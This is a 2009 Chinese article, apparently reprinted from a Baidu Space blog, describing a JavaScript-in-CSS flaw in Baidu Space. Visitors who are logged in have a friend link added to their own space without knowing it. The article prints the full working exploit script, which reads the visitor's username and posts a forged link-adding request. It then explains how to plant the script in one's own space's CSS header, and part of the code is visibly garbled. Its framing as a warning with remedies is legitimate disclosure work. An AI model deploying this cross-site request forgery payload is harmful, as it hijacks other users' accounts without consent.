打印本文 打印本文  关闭窗口 关闭窗口  
解密百度空间存在的JS破坏漏洞
作者:陈鹏  文章来源:eNet  点击数  更新时间:2009/9/11 23:15:19  文章录入:陈鹏  责任编辑:陈鹏

本文原著:http://hi.baidu.com/haomm/

百度空间的发布,给很多国内网民带来了福音,带来了中国space的希望,但与此同时,百度空间的"CSS教程"泛滥至极,访问量从高到低各层次都是在大肆宣传自己复制的css代码(不排除有个别原创),而真正拿hi.baidu.com作为自己space的,专业的博客者很少.百度空间似乎可以更名"百度css练手空间".

在众多复制粘贴爱好者中,不乏有css钻研者,凭着他们对css代码的"天赋",写出了一些别出心裁的代码,让初学者五体投地,很受css复制爱好者青睐,这部分css作者值得称赞.但与此同时也出现了百度空间的网络黑手,利用百度空间的功能,加入自己的代码,而这些代码又是恶意的,导致百度空间的用户失去了使用空间的自由.

这是一个网友发来的短信求助,原文如下:

有个黑客用javascript把我的链接改了。。并威胁我如果删除连接就删除我的空间,最怕的就是这样的人。。我想问您了解一下他能用同样的手段篡改我页面的其他信息吗。。最好能告诉小弟对付这样的人的办法,我实在没辙了,好郁闷。。谢谢。。

当时笔者找到该"黑客"的空间,轻松发现其利用css代码加入js代码,然后又利用js代码的功能,分析百度空间在提交数据时的参数,构造出来一个恶意的js代码,功能是提交一个加入友情链接的请求到百度空间,导致访问该网站的已登陆百度空间用户在自己空间上自动的加一个友情链接.

下边是利用代码:

javascript:document.body.onload = function(){

var req = null;
if(window.XMLHttpRequest) req = new XMLHttpRequest();
else if(window.ActiveXObject){
  var msxml = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
  for(var i=0;i  try{req.overrideMimeType('text/xml')}catch(e){}
}
req.open('get','.',false);
req.send();
var s=req.responseText;
p=s.indexOf('passport.baidu.com/?logout');
if(p>0)
{
p=s.indexOf('');
if(p>0)
{
  p=s.indexOf('/',p);
  p2=s.indexOf(String.fromCharCode(34),p);
  var user=s.substring(p+1,p2);
  var name='+%B0%D9%B6%C8%BF%D5%BC%E4%B7%A2%CC%FB%D6%FA%CA%D6  ';
  var link='http://hi.baidu.com/haomm';
  var desc='%CA%B9%C4%E3%B5%C4%B0%D9%B6%C8%BF%D5%BC%E4%D6%A7%B3%D6html%B7%A2%CC%FB';
  var url='/'+user+'/commit';
var data='ct=6&cm=1&spRef='+escape('http://hi.baidu.com/'+user)+'%2Fmodify%2Fbuddylink%2F0&spBuddyName='+escape(name)+'&spBuddyURL='+escape(link)+'&spBuddyIntro='+escape(desc);
  req.open('post',url,false);
  req.send(data);
}
}

}

代码分析:

上述代码"+escape('http://hi.baidu.com/'+user)+'%2Fmodify%2Fbuddylink%2F0&spBuddyName='+escape(name)+'&spBuddyURL='+escape(link)+'&spBuddyIntro='+escape(desc)",有些js知识的朋友不难看出,此段代码用js取得访问用户user参数,其中var name,var link,var desc这三个参数即是恶意构造的友情链接的指定参数,构造提交一个增加友情链接的请求到百度服务器,导致执行后结果用户空间增加一恶意链接.

分析:

该方法危险等级:高级.构造相应的js代码可以删除用户空间的所有数据.该漏洞目前未发现有恶意删除的现象,但已足够危险,请用户小心.但此操作对用户密码没有太大影响.

解决办法:

由于攻击者可能利用任何用户名的百度空间提交增加,删除,更改的链接,所以目前没有完美解决办法.

给已经受害者解决办法:删除恶意链接,不再在登陆的情况下访问其空间链接.

利用方法,演示及声明:

本空间加入了该漏洞代码的利用演示,使用方法:在自己空间css里面找到#header{},在里面加入上述代码即可.形式如:#header{height:200px;background:url("上文js代码");}请小心使用.



【责任编辑 徐洋】

打印本文 打印本文  关闭窗口 关闭窗口